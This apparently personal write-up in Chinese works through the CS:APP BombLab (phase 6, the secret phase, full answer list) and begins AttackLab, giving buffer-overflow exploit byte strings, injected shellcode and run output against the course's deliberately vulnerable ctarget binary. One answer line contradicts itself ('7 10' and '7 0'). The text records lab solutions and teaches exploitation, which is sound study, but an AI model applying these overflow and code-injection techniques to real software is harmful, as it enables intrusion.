第五关的可行解是"9?>567",不包含引号。

1.6 phase6

汇编代码:

00000000004010f4 <phase_6>:
  4010f4:	41 56                	push   %r14
  4010f6:	41 55                	push   %r13
  4010f8:	41 54                	push   %r12
  4010fa:	55                   	push   %rbp
  4010fb:	53                   	push   %rbx
  4010fc:	48 83 ec 50          	sub    $0x50,%rsp
  401100:	49 89 e5             	mov    %rsp,%r13
  401103:	48 89 e6             	mov    %rsp,%rsi
  401106:	e8 51 03 00 00       	callq  40145c <read_six_numbers>
  40110b:	49 89 e6             	mov    %rsp,%r14
  40110e:	41 bc 00 00 00 00    	mov    $0x0,%r12d
  401114:	4c 89 ed             	mov    %r13,%rbp
  401117:	41 8b 45 00          	mov    0x0(%r13),%eax
  40111b:	83 e8 01             	sub    $0x1,%eax
  40111e:	83 f8 05             	cmp    $0x5,%eax
  401121:	76 05                	jbe    401128 <phase_6+0x34>
  401123:	e8 12 03 00 00       	callq  40143a <explode_bomb>
  401128:	41 83 c4 01          	add    $0x1,%r12d
  40112c:	41 83 fc 06          	cmp    $0x6,%r12d
  401130:	74 21                	je     401153 <phase_6+0x5f>
  401132:	44 89 e3             	mov    %r12d,%ebx
  401135:	48 63 c3             	movslq %ebx,%rax
  401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
  40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
  40113e:	75 05                	jne    401145 <phase_6+0x51>
  401140:	e8 f5 02 00 00       	callq  40143a <explode_bomb>
  401145:	83 c3 01             	add    $0x1,%ebx
  401148:	83 fb 05             	cmp    $0x5,%ebx
  40114b:	7e e8                	jle    401135 <phase_6+0x41>
  40114d:	49 83 c5 04          	add    $0x4,%r13
  401151:	eb c1                	jmp    401114 <phase_6+0x20>
  401153:	48 8d 74 24 18       	lea    0x18(%rsp),%rsi
  401158:	4c 89 f0             	mov    %r14,%rax
  40115b:	b9 07 00 00 00       	mov    $0x7,%ecx
  401160:	89 ca                	mov    %ecx,%edx
  401162:	2b 10                	sub    (%rax),%edx
  401164:	89 10                	mov    %edx,(%rax)
  401166:	48 83 c0 04          	add    $0x4,%rax
  40116a:	48 39 f0             	cmp    %rsi,%rax
  40116d:	75 f1                	jne    401160 <phase_6+0x6c>
  40116f:	be 00 00 00 00       	mov    $0x0,%esi
  401174:	eb 21                	jmp    401197 <phase_6+0xa3>
  401176:	48 8b 52 08          	mov    0x8(%rdx),%rdx
  40117a:	83 c0 01             	add    $0x1,%eax
  40117d:	39 c8                	cmp    %ecx,%eax
  40117f:	75 f5                	jne    401176 <phase_6+0x82>
  401181:	eb 05                	jmp    401188 <phase_6+0x94>
  401183:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  401188:	48 89 54 74 20       	mov    %rdx,0x20(%rsp,%rsi,2)
  40118d:	48 83 c6 04          	add    $0x4,%rsi
  401191:	48 83 fe 18          	cmp    $0x18,%rsi
  401195:	74 14                	je     4011ab <phase_6+0xb7>
  401197:	8b 0c 34             	mov    (%rsp,%rsi,1),%ecx
  40119a:	83 f9 01             	cmp    $0x1,%ecx
  40119d:	7e e4                	jle    401183 <phase_6+0x8f>
  40119f:	b8 01 00 00 00       	mov    $0x1,%eax
  4011a4:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  4011a9:	eb cb                	jmp    401176 <phase_6+0x82>
  4011ab:	48 8b 5c 24 20       	mov    0x20(%rsp),%rbx
  4011b0:	48 8d 44 24 28       	lea    0x28(%rsp),%rax
  4011b5:	48 8d 74 24 50       	lea    0x50(%rsp),%rsi
  4011ba:	48 89 d9             	mov    %rbx,%rcx
  4011bd:	48 8b 10             	mov    (%rax),%rdx
  4011c0:	48 89 51 08          	mov    %rdx,0x8(%rcx)
  4011c4:	48 83 c0 08          	add    $0x8,%rax
  4011c8:	48 39 f0             	cmp    %rsi,%rax
  4011cb:	74 05                	je     4011d2 <phase_6+0xde>
  4011cd:	48 89 d1             	mov    %rdx,%rcx
  4011d0:	eb eb                	jmp    4011bd <phase_6+0xc9>
  4011d2:	48 c7 42 08 00 00 00 	movq   $0x0,0x8(%rdx)
  4011d9:	00 
  4011da:	bd 05 00 00 00       	mov    $0x5,%ebp
  4011df:	48 8b 43 08          	mov    0x8(%rbx),%rax
  4011e3:	8b 00                	mov    (%rax),%eax
  4011e5:	39 03                	cmp    %eax,(%rbx)
  4011e7:	7d 05                	jge    4011ee <phase_6+0xfa>
  4011e9:	e8 4c 02 00 00       	callq  40143a <explode_bomb>
  4011ee:	48 8b 5b 08          	mov    0x8(%rbx),%rbx
  4011f2:	83 ed 01             	sub    $0x1,%ebp
  4011f5:	75 e8                	jne    4011df <phase_6+0xeb>
  4011f7:	48 83 c4 50          	add    $0x50,%rsp
  4011fb:	5b                   	pop    %rbx
  4011fc:	5d                   	pop    %rbp
  4011fd:	41 5c                	pop    %r12
  4011ff:	41 5d                	pop    %r13
  401201:	41 5e                	pop    %r14
  401203:	c3                   	retq 

这关的代码很长,寄存器很多,肉眼debug不合理,跟着gdb一步步调试就慢慢懂了:

  • <read_six_numbers>说明我们要输入六个整数,用空格分隔。

  • 地址401114到401151的代码实现了一个双层循环,对这六个输入值给出要求:六值互不相同,且都大于等于1、小于等于6,故本题要求我们输入1到6的一个排列

  • 地址401160到40116d的代码实现了一个循环,修改Mem[%rsp]到Mem[%rsp+0x14]的值,将每个输入值a1、a2…a6,转换成7-a1、7-a2…7-a6。

  • 地址40116f到4011a9的代码实现了一个循环,将$0x6032d0+(7-a1)* 0x8、$0x6032d0+(7-a2)* 0x8、…、 0 x 6032 d 0 + ( 7 − a 6 ) ∗ 0 x 8 地 址 存 到 0x6032d0+(7-a6)* 0x8地址存到%rsp+0x20+2 * 0、%rsp+0x20+2 * 0x4、%rsp+0x20 + 2 * 0x8....、%rsp+0x20+2 * 0x14中。这样可能抽象,举例来说明这种**映射**关系:我原来Mem[%rsp]到Mem[%rsp+0x14]的数据是**6、5、4、3、2、1**,这个循环结束后Mem[%rsp+0x20]到Mem[%rsp+0x48]的数据是**node6、node5、node4、node3、node2、node1**。如下所示, 0x6032d0+7a60x8rsp = 0x7fffffffdf30:

    # stack中的node
    (gdb) print (char*) *0x7fffffffdf78
    $119 = 0x6032d0 <node1> "L\001"
    (gdb) print (char*) *0x7fffffffdf70
    $120 = 0x6032e0 <node2> "\250"
    (gdb) print (char*) *0x7fffffffdf68
    $121 = 0x6032f0 <node3> "\234\003"
    (gdb) print (char*) *0x7fffffffdf60
    $122 = 0x603300 <node4> "\263\002"
    (gdb) print (char*) *0x7fffffffdf58
    $123 = 0x603310 <node5> "\335\001"
    (gdb) print (char*) *0x7fffffffdf50
    $124 = 0x603320 <node6> "\273\001"
    
    # stack中的数字
    (gdb) print  *0x7fffffffdf44
    $130 = 1
    (gdb) print  *0x7fffffffdf40
    $129 = 2
    (gdb) print  *0x7fffffffdf3c
    $128 = 3
    (gdb) print  *0x7fffffffdf38 # 对应0x7fffffffdf60,4-->node4,其余类似
    $127 = 4
    (gdb) print  *0x7fffffffdf34 # 对应0x7fffffffdf58,5-->node5
    $126 = 5
    (gdb) print  *0x7fffffffdf30 # 对应0x7fffffffdf50,6-->node6
    $125 = 6
    
  • 地址4011ab到4011d0实现了一个循环:该循环往node1到node6的所在地址后8位写入了栈中顺序的下一个对象地址,见下面的注释,最好从下往上阅读。例如:往node6的所在地址后8位写入了node5,因为栈中node6(0x7fffffffdf50)排node5(0x7fffffffdf58)的前面,栈是从上往下增长的。

    (gdb) print (char*)0x6032d0 # node1地址
    $31 = 0x6032d0 <node1> "L\001"
    (gdb) print (char*)*0x6032d8
    $32 = 0x6032e0 <node2> "\250" # node1地址的后8位存放了node2的地址,这个地址不是在这个循环中被写入的!!循环结束后4011d2地址的命令,会将node1地址的后8位写入0,符合"node1在栈排最后、不排任何对象的前面"的现象。
    
    (gdb) print (char*)0x6032e0 # node2地址
    $33 = 0x6032e0 <node2> "\250"
    (gdb) print (char*)*0x6032e8
    $34 = 0x6032d0 <node1> "L\001" # node2地址的后8位存放了node1的地址,栈中node2刚好排node1前面
    
    (gdb) print (char*)0x6032f0 # node3地址
    $35 = 0x6032f0 <node3> "\234\003"
    (gdb) print (char*)*0x6032f8
    $36 = 0x6032e0 <node2> "\250" # node3地址的后8位存放了node2的地址,栈中node3刚好排node2前面
    
    (gdb) print (char*)0x603300 # node4地址
    $37 = 0x603300 <node4> "\263\002"
    (gdb) print (char*)*0x603308 # node4地址的后8位存放了node3的地址,栈中node4刚好排node3前面
    $38 = 0x6032f0 <node3> "\234\003"
    
    (gdb) print (char*)0x603310 # node5地址
    $39 = 0x603310 <node5> "\335\001"
    (gdb) print (char*)*0x603318 # node5地址的后8位存放了node4的地址,栈中node5刚好排node4前面
    $40 = 0x603300 <node4> "\263\002"
    
    (gdb) print (char*)0x603320 # node6地址
    $41 = 0x603320 <node6> "\273\001"
    (gdb) print (char*)*0x603328 # node6地址的后8位存放了node5的地址,栈中node6刚好排node5前面
    $42 = 0x603310 <node5> "\335\001"
    

    看循环的技巧:高亮出jmp的目标地址,范围性查看,老往回跳就是循环。如下图所示,初始化语句、循环判断条件等内容一目了然。然后再写写伪码、debug一下就懂了。

    在这里插入图片描述

  • 4011da到4011df又是一个循环,它不断地比较所有 *node地址**(node地址+8)的大小,比较5次,若大于等于则继续循环、否则爆炸,循环结束则此关结束。因为*(node地址+8)等价于栈中顺序的下一个对象地址,因此"stack中的node应满足【解引用值大的地址在前、小的在后】",打印出所有node的解引用值。

    (gdb) print *0x6032d0 # node1
    $60 = 332
    (gdb) print *0x6032e0 # node2
    $61 = 168
    (gdb) print *0x6032f0 # node3
    $62 = 924
    (gdb) print *0x603300 # node4
    $63 = 691
    (gdb) print *0x603310 # node5
    $64 = 477
    (gdb) print *0x603320 # node6
    $65 = 443
    

    因此栈中的node从下到上依次为node3、node4、node5、node6、node1、node2

    这下可以开始反推答案了:1.根据上文对地址40116f到4011a9的循环的映射关系的解释,我们知道Mem[%rsp]到Mem[%rsp+0x14]的数据是3、4、5、6、1、2;2.根据上文对地址401160到40116d的循环的解释,我们知道输入值依次是4、3、2、1、6、5,即用7减去上述值。

综上,第6关的解是"4 3 2 1 6 5",不包含引号。

1.7 secret_phase

看bits.c最下的注释,除了上面6关,还有一个神秘的第7关。出题人在狂笑Mua haha,教训他 😃

input = read_line();
phase_6(input);
phase_defused();

/* Wow, they got it!  But isn't something... missing?  Perhaps
 * something they overlooked?  Mua ha ha ha ha! */

return 0;

首先,怎么触发神秘关卡?在汇编代码文件中全局搜索secret_phase,发现只有phase_defused这个方法调用了secret_phase方法,因此,要通过phase_defused方法触发secret_phase

phase_defused的汇编代码:

00000000004015c4 <phase_defused>:
  4015c4:	48 83 ec 78          	sub    $0x78,%rsp
  4015c8:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  4015cf:	00 00 
  4015d1:	48 89 44 24 68       	mov    %rax,0x68(%rsp)
  4015d6:	31 c0                	xor    %eax,%eax
  4015d8:	83 3d 81 21 20 00 06 	cmpl   $0x6,0x202181(%rip)        # 603760 <num_input_strings>
  4015df:	75 5e                	jne    40163f <phase_defused+0x7b>
  4015e1:	4c 8d 44 24 10       	lea    0x10(%rsp),%r8
  4015e6:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
  4015eb:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
  4015f0:	be 19 26 40 00       	mov    $0x402619,%esi
  4015f5:	bf 70 38 60 00       	mov    $0x603870,%edi
  4015fa:	e8 f1 f5 ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
  4015ff:	83 f8 03             	cmp    $0x3,%eax
  401602:	75 31                	jne    401635 <phase_defused+0x71>
  401604:	be 22 26 40 00       	mov    $0x402622,%esi
  401609:	48 8d 7c 24 10       	lea    0x10(%rsp),%rdi
  40160e:	e8 25 fd ff ff       	callq  401338 <strings_not_equal>
  401613:	85 c0                	test   %eax,%eax
  401615:	75 1e                	jne    401635 <phase_defused+0x71>
  401617:	bf f8 24 40 00       	mov    $0x4024f8,%edi
  40161c:	e8 ef f4 ff ff       	callq  400b10 <puts@plt>
  401621:	bf 20 25 40 00       	mov    $0x402520,%edi
  401626:	e8 e5 f4 ff ff       	callq  400b10 <puts@plt>
  40162b:	b8 00 00 00 00       	mov    $0x0,%eax
  401630:	e8 0d fc ff ff       	callq  401242 <secret_phase>
  401635:	bf 58 25 40 00       	mov    $0x402558,%edi
  40163a:	e8 d1 f4 ff ff       	callq  400b10 <puts@plt>
  40163f:	48 8b 44 24 68       	mov    0x68(%rsp),%rax
  401644:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax
  40164b:	00 00 
  40164d:	74 05                	je     401654 <phase_defused+0x90>
  40164f:	e8 dc f4 ff ff       	callq  400b30 <__stack_chk_fail@plt>
  401654:	48 83 c4 78          	add    $0x78,%rsp
  401658:	c3                   	retq   
  401659:	90                   	nop
  40165a:	90                   	nop
  40165b:	90                   	nop
  40165c:	90                   	nop
  40165d:	90                   	nop
  40165e:	90                   	nop
  40165f:	90                   	nop

可以看到:

  • 只有当num_input_strings等于6,也就是我们通过了前6关时,才能闯神秘关
  • 调用sscanf函数:被解析的字符串为0x603870,打印出来发现是<input_strings+240>,是输入字符串中的一个(可以打印出所有输入字符串的地址进行验证),可以在4015f5地址处打个断点,运行程序并输入前6关的字符串,发现打印出来是**“7 0”,因此,被解析的字符串为第4关的输入解析格式为0x402619,打印出来是"%d %d %s",因此第4关的输入除了两个整数外还需要一个字符串,以触发secret_phase**。
  • 40160e地址的函数,拿着第4关的输入字符串和0x402622(打印出来是DrEvil)作比较,如果两者相同,则调用secret_phase。因此第4关的输入字符串为"DrEvil",第4关的输入调整为"7 0 DrEvil"

secret_phase的汇编代码:

0000000000401242 <secret_phase>:
  401242:	53                   	push   %rbx
  401243:	e8 56 02 00 00       	callq  40149e <read_line>
  401248:	ba 0a 00 00 00       	mov    $0xa,%edx
  40124d:	be 00 00 00 00       	mov    $0x0,%esi
  401252:	48 89 c7             	mov    %rax,%rdi
  401255:	e8 76 f9 ff ff       	callq  400bd0 <strtol@plt>
  40125a:	48 89 c3             	mov    %rax,%rbx
  40125d:	8d 40 ff             	lea    -0x1(%rax),%eax
  401260:	3d e8 03 00 00       	cmp    $0x3e8,%eax
  401265:	76 05                	jbe    40126c <secret_phase+0x2a>
  401267:	e8 ce 01 00 00       	callq  40143a <explode_bomb>
  40126c:	89 de                	mov    %ebx,%esi
  40126e:	bf f0 30 60 00       	mov    $0x6030f0,%edi
  401273:	e8 8c ff ff ff       	callq  401204 <fun7>
  401278:	83 f8 02             	cmp    $0x2,%eax
  40127b:	74 05                	je     401282 <secret_phase+0x40>
  40127d:	e8 b8 01 00 00       	callq  40143a <explode_bomb>
  401282:	bf 38 24 40 00       	mov    $0x402438,%edi
  401287:	e8 84 f8 ff ff       	callq  400b10 <puts@plt>
  40128c:	e8 33 03 00 00       	callq  4015c4 <phase_defused>
  401291:	5b                   	pop    %rbx
  401292:	c3                   	retq   
  401293:	90                   	nop
  401294:	90                   	nop
  401295:	90                   	nop
  401296:	90                   	nop
  401297:	90                   	nop
  401298:	90                   	nop
  401299:	90                   	nop
  40129a:	90                   	nop
  40129b:	90                   	nop
  40129c:	90                   	nop
  40129d:	90                   	nop
  40129e:	90                   	nop
  40129f:	90                   	nop

这一关先用readline读取我们的输入字符串;然后调用strtol,以10为基,将该字符串转换为长整数longNum;由401265地址的无符号跳转指令知,strol的返回值longNum必须大于0,且longNum小于等于0x3e9;然后以0x6030f0为第一个参数、longNum为第二个参数调用fun7,由40127b地址的跳转指令知,fun7的返回值等于0x2

fun7的汇编代码如下:

0000000000401204 <fun7>:
  401204:	48 83 ec 08          	sub    $0x8,%rsp
  401208:	48 85 ff             	test   %rdi,%rdi
  40120b:	74 2b                	je     401238 <fun7+0x34>
  40120d:	8b 17                	mov    (%rdi),%edx
  40120f:	39 f2                	cmp    %esi,%edx
  401211:	7e 0d                	jle    401220 <fun7+0x1c>
  401213:	48 8b 7f 08          	mov    0x8(%rdi),%rdi
  401217:	e8 e8 ff ff ff       	callq  401204 <fun7>
  40121c:	01 c0                	add    %eax,%eax
  40121e:	eb 1d                	jmp    40123d <fun7+0x39>
  401220:	b8 00 00 00 00       	mov    $0x0,%eax
  401225:	39 f2                	cmp    %esi,%edx
  401227:	74 14                	je     40123d <fun7+0x39>
  401229:	48 8b 7f 10          	mov    0x10(%rdi),%rdi
  40122d:	e8 d2 ff ff ff       	callq  401204 <fun7>
  401232:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
  401236:	eb 05                	jmp    40123d <fun7+0x39>
  401238:	b8 ff ff ff ff       	mov    $0xffffffff,%eax
  40123d:	48 83 c4 08          	add    $0x8,%rsp
  401241:	c3                   	retq   

写出上述递归函数的伪代码,如下。要让返回值为2,可以第一次进入third块,第二次进入second块,第三次进入first块。用gdb调试知:第一次进入third块,longNum需要小于36;第二次进入second块;longNum需要大于8;第三次进入first块,longNum应该为22。因此,输入字符串调用strtol后应返回22

int fun7(rdi, rsi) {//rdi存指针,rsi存longNum
    if (rdi == 0) {
        return -1;
    }
    if (*rdi == longNum) { //first
        return 0;
    } else if (*rdi < longNum) { //second
        rdi = Mem[rdi + 0x10];
        return 2*fun7(rdi, rsi)+1;
    } else { //third
        rdi = Mem[rdi + 0x9];
        return 2*fun7(rdi, rsi);
    }
}

综上,secret_phase的触发条件是修改第四关的输入为"7 10 DrEvil",可行解是"22",不包括引号。

头一次见要自己触发,然后自己拆解的炸弹…

1.8 答案汇总

将以上7关的解写入一个txt文件,总结如下:

Border relations with Canada have never been better.
1 2 4 8 16 32
1 311
7 0 DrEvil
9?>567
4 3 2 1 6 5
22

运行效果如下:

cs144@cs144vm:~/CSAPP/BombLab/bomb$ ./bomb answers.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
Curses, you've found the secret phase!
But finding it and solving it are quite different...
Wow! You've defused the secret stage!
Congratulations! You've defused the bomb!

连神秘关都被我过了,我看你个DrEvil怎么笑得出来。HaHaHa

2 总结

BombLab让我学习了很多汇编指令,对循环、switch、递归等代码的汇编形式熟悉,也让我掌握了gdb调试。算是很有趣的一个实验。

DrEvil还是卷不过我呀!

实验时长:26.5h

Lab3 AttackLab

一些有用的资料

  • Lab说明链接:认真看。

    http://csapp.cs.cmu.edu/3e/attacklab.pdf

  • 关于gdb调试的资料可以参考Lab2 BombLab

1 实验步骤

前三关Level1到Level3是代码注入Code Injection的实验,最后两关是Return-Oriented Programming的实验。

1.1 Code Injection
1.1.1 Level 1

此阶段的任务是让getbuf()函数执行结束后不返回调用它的test函数,而是返回到函数touch1

首先使用objdump -d ctarget > ctarget_disasCode.txt指令生成ctarget的汇编代码。

getbuf、test和touch1的c代码如下:

unsigned getbuf()
{ 
    char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

void test()
{ 
    int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

getbuf、test和touch1的汇编代码如下:

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp 
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf> # getbuf的返回地址401976存在[调用getbuf前的%rsp]中
  401976:	89 c2                	mov    %eax,%edx
  ...

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

思路:getbuf用Gets获取字符串,可以输入0x28(为getbuf分配的栈帧大小) + 0x8 (test栈帧中存放getbuf返回地址的区域)= 0x30 = 48字节的数据,以覆盖getbuf的返回地址,且最后8字节应该是touch1的地址,即00000000004017c0。

下面是本关的一个可行解的字节表示,除了最下一行(最后八字节)不能改变外,其他的只要不为0x0a就行。可以将如下字节作为hex2raw程序的入参,产生的字符串再传给ctarget,实现代码注入。注意:使用小端序(实验说明note the reversal required for little-endian byte ordering)并且不要包含0x0a (是\n的ascii码)。

88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
c0 17 40 00 00 00 00 00

getbuf调用Gets读入上述字节数据后,test调用getbuf的栈示意图如下:

在这里插入图片描述

执行效果如下。ctarget的-q参数是为了不将结果发送给评分服务器(自学老哥咋能有这玩意)

cs144@cs144vm:~/CSAPP/AttackLab/target1$ ./hex2raw < Level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 C0 17 40 00 00 00 00 00 
1.1.2 Level 2

此阶段的任务是让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch2,并给它传入参数为cookie值

getbuf、test和touch2的c代码如下:

unsigned getbuf()
{ 
    char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

void test()
{ 
    int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */ 
    if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
	exit(0);
}

getbuf、test和touch2的汇编代码如下:

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp 
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf>  # getbuf的返回地址401976存在[调用getbuf前的%rsp]中
  401976:	89 c2                	mov    %eax,%edx
  ...

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp # getbuf栈帧用0x28个字节来存放输入字符串
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

思路:

  • 覆盖【test栈帧中的getbuf的返回地址】为【getbuf栈帧存放输入字符串的最低地址】,那样就能跳回来,把我输入的字节数据当可执行命令使用。同Level1,写入48字节的数据,以覆盖getbuf的返回地址,且最后8字节应该是getbuf栈帧存放输入字符串的最低地址,即**[getbuf调用Gets前的%rsp]**。在4017ac地址打个断点,gdb调试并打印该地址时的%rsp。

    cs144@cs144vm:~/CSAPP/AttackLab/target1$ gdb ctarget
    (gdb) b *0x4017ac
    Breakpoint 1 at 0x4017ac: file buf.c, line 14.
    (gdb) run -q
    Starting program: /home/cs144/CSAPP/AttackLab/target1/ctarget -q
    Cookie: 0x59b997fa
    
    Breakpoint 1, getbuf () at buf.c:14
    14      buf.c: No such file or directory.
    (gdb) print $rsp
    $1 = (void *) 0x5561dc78
    

    因此,写入48字节的数据,且数据的最后8字节应该是0x5561dc78

  • 调用touch2之前,将%rdi的值设置为cookie值。查项目文件夹下的cookie.txt文件,cookie值为0x59b997fa

    下图是test调用getbuf后的栈示意图。

在这里插入图片描述

eploit code的结构如下,命名为Level2ExploitCode.s文件。pad为填充字节。

pushq $0x4017ec  # touch2的地址压栈,相当于sub $0x8,%rsp 和 movl $0x4017ec,(%rsp)  
mov $0x59b997fa,%rdi #将%rdi的值设置为cookie值
retq # 使用retq指令跳转到touch2

接下来用GCC(作为assmbler)和OBJDUMP(作为disassembler)为Level2ExploitCode.s生成汇编命令的字节表示

cs144@cs144vm:~/CSAPP/AttackLab/target1$ gcc -c Level2ExploitCode.s
cs144@cs144vm:~/CSAPP/AttackLab/target1$ objdump -d Level2ExploitCode.o > Level2ExploitCode.d

Level2ExploitCode.d文件如下:

Level2ExploitCode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	68 ec 17 40 00       	pushq  $0x4017ec
   5:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   c:	c3                   	retq   
  • 综合上述分析,给出本关的一个可行解的字节表示,如下。注意:使用小端序并且不要包含0x0a (是\n的ascii码)。汇编指令的字节表示已经是小端序了,不需要反转注入代码的地址0x5561dc78需要写成小端序!

    68 ec 17 40 00			/* pushq  $0x4017ec */
    48 c7 c7 fa 97 b9 59 	/* mov    $0x59b997fa,%rdi */
    c3						/* retq */
    88 88 88 88 88 88 88 88	/* pad */
    88 88 88 88 88 88 88 88
    88 88 88 88 88 88 88 88
    88 88 88
    78 dc 61 55 00 00 00 00 /* address of exploit string */
    

    将如上字节作为hex2raw程序的入参,产生的字符串再传给ctarget,实现代码注入。执行效果如下:

    cs144@cs144vm:~/CSAPP/AttackLab/target1$ cat Level2-copy.txt | ./hex2raw | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
            user id bovik
            course  15213-f15
            lab     attacklab
            result  1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 48 C7 C7 FA 97 B9 59 C3 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 78 DC 61 55 00 00 00 00 
    
1.1.3 Level3

此阶段的任务是让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch3,并使参数为cookie值的十六进制字符串的地址

touch3的代码如下:

void touch3(char *sval)
{
	vlevel = 3; /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
    exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
	/* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

汇编代码如下:

000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp
  401854:	41 89 fc             	mov    %edi,%r12d
  401857:	48 89 f5             	mov    %rsi,%rbp
  40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401861:	00 00 
  401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  401868:	31 c0                	xor    %eax,%eax
  40186a:	e8 41 f5 ff ff       	callq  400db0 <random@plt>
  40186f:	48 89 c1             	mov    %rax,%rcx
  401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  401879:	0a d7 a3 
  40187c:	48 f7 ea             	imul   %rdx
  40187f:	48 01 ca             	add    %rcx,%rdx
  401882:	48 c1 fa 06          	sar    $0x6,%rdx
  401886:	48 89 c8             	mov    %rcx,%rax
  401889:	48 c1 f8 3f          	sar    $0x3f,%rax
